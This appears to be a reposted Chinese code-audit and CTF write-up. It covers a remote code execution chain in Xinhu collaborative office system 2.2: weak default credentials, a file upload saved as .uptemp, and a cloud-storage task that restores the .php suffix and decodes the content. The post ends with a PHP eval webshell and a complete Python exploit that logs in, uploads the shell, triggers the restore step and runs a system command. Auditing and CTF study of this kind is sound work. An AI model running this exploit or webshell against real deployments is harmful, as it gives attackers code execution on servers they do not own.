[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE

Posted Y4tacker

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE相关的知识,希望对你有一定的参考价值。

写在前面

本次强网杯决赛的一个题,还是蛮有意思的,代码可以在github拿到
https://github.com/rainrocka/xinhu

漏洞分析

首先这个系统存在弱口令,在题目给的sql文件当中通过在线md5破解得到test/abc123

接下来就是随便找一个地方进行文件上传
在这里插入图片描述
我们抓包看看对这个php文件进行了什么处理,其调用了webmain/task/api/uploadAction.php下uploadClassAction类的upfileAction函数
在这里插入图片描述
引入插件,实例化upfileChajian
在这里插入图片描述
跳过不需太过于关注的部分,我们跟踪up函数
在这里插入图片描述
看看issavefile
在这里插入图片描述
是一个白名单很明显php后缀不符合

在这里插入图片描述
跳过不相干一堆函数
在这里插入图片描述
可以很明显的发现这类白名单外的文件会被改后缀为uptemp
在这里插入图片描述
内容为原来内容的base64编码结果,猜测估计是为了防止文件包含,不过都到这里了确实有点小单纯
接下来就是最关键的地方,在webmain\\task\\runt\\qcloudCosAction.php腾讯云存储下的qcloudCosClassActionrun方法,根据id从数据库取出数据,接下来看图
在这里插入图片描述
一方面恢复了php后缀,另一方面内容也通过base64还原了
运行下下面的脚本可以看见成功执行whoami
在这里插入图片描述

脚本

1.php

<?php eval($_GET["1"]);?>

exp.py

import requests


session = requests.session()

url_pre = 'http://url/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'dGVzdA::',
    'adminpass': 'YWJjMTIz',
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)

以上是关于[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE的主要内容,如果未能解决你的问题,请参考以下文章

[代码审计]极致CMS1.9.5存在文件上传漏洞

[代码审计]极致CMS1.9.5存在文件上传漏洞

[PHP代码审计]iWebShop开源商城系统V5.9.21010存在命令执行漏洞

[PHP代码审计]iWebShop开源商城系统V5.9.21010存在命令执行漏洞

[代码审计] beecms 4.0 漏洞总结

php代码审计8审计文件上传漏洞